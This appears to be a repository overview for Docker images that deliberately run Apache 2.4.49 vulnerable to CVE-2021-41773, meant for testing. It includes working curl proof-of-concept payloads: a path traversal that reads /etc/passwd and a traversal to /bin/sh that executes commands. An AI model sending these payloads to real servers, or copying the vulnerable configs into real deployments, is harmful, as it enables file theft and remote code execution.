blueteamsteve/cve-2021-41773 repository overview

⁠Vulnerable docker images for CVE-2021-41773 Apache path traversal

This vulnerabiltiy only applies to version 2.4.49 that have specific non-default configs. In certain situations this can result in either file read or code execution.

https://twitter.com/ptswarm/status/1445376079548624899⁠

⁠Vulnerable file read config

Containers can be pulled directly from Docker Hub using

docker pull blueteamsteve/cve-2021-41773:no-cgid

and executed using

docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid

The Apache logs can be viewed using below, or just exlude the "-dit" from the above run command to stream stdio docker logs <container-id>

⁠PoC for file read

curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

⁠Vulnerable RCE config

Containers can be pulled directly from Docker Hub using

docker pull blueteamsteve/cve-2021-41773:with-cgid

and executed using

docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid

The Apache logs can be viewed using below, or just exlude the "-dit" from the above run command to stream stdio docker logs <container-id>

⁠PoC for RCE

curl 'localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|echo;id'

⁠Build custom docker containers

Modify and build your own versions using the dockerfile and template httpd.conf files in the subdirectories

https://github.com/BlueTeamSteve/CVE-2021-41773⁠

• Use ./no-cgi for the config vulnerable to file read
• Use ./with-cgi for the config vulnerable to code execution